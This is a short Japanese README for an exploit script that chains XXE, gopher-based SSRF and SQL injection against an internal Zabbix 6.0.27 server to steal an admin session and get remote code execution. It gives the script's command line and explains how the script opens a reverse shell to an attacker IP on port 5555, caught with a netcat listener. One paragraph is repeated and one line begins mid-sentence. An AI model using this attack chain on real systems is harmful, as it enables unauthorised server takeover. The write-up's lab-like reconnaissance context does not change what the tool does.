
このエクスプロイトは、XXE(XML外部エンティティ)を悪用するために作成されました。それを通じて、Webサービスのバックエンドコードを読み取り、gopherを使用してZabbix(RCEに対して脆弱)への内部リクエストを行えるエンドポイントを見つけました。
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>
このエクスプロイトは、XXE(XML外部エンティティ)を悪用するために作成されました。これを利用して、Webサービスのバックエンドコードを読み取り、リモートコード実行に対して脆弱なZabbixバージョン6.0.27に対してgopherを使用して内部リクエストを送信できるエンドポイントを発見しました。
偵察フェーズでは、外部Webサーバーに対してブルートフォース攻撃を実行し、docker-compose.ymlファイルを取得しました。これにより、内部Zabbixサーバーのコンテナ名が判明しました。この情報を使用して、gopher経由でWebアプリケーションのルートにPOSTリクエストを送信したところ、WebサーバーはCookie内のbase64エンコードされたJSONで低権限ユーザーのhost-idとセッションIDを返しました。
これらの詳細をもとに、元のエクスプロイトを適応させ、zabbix-server:10051のSQLインジェクション脆弱性を悪用して管理者のセッションIDを取得し、スクリプトを作成して実行することでリモートコード実行を達成しました。
gopherを使用してこのZabbixの脆弱性を悪用する必要がある場合は、InternalRequest関数を変更して、必要な方法でリクエストを行うことができます。
10.0.46.27:5555)であなたのマシンに接続します。リバースシェルを受け取るために、あなたのマシンが指定されたポート(スクリプト内では5555)でリスニングしていることを確認してください。これにはnetcatを使用できます:
nc -lvnp 5555
CreateScript関数内のIP 10.0.46.27とポート 5555を、リバースシェルを受け取るための自分のIPと希望のポートに置き換えてください。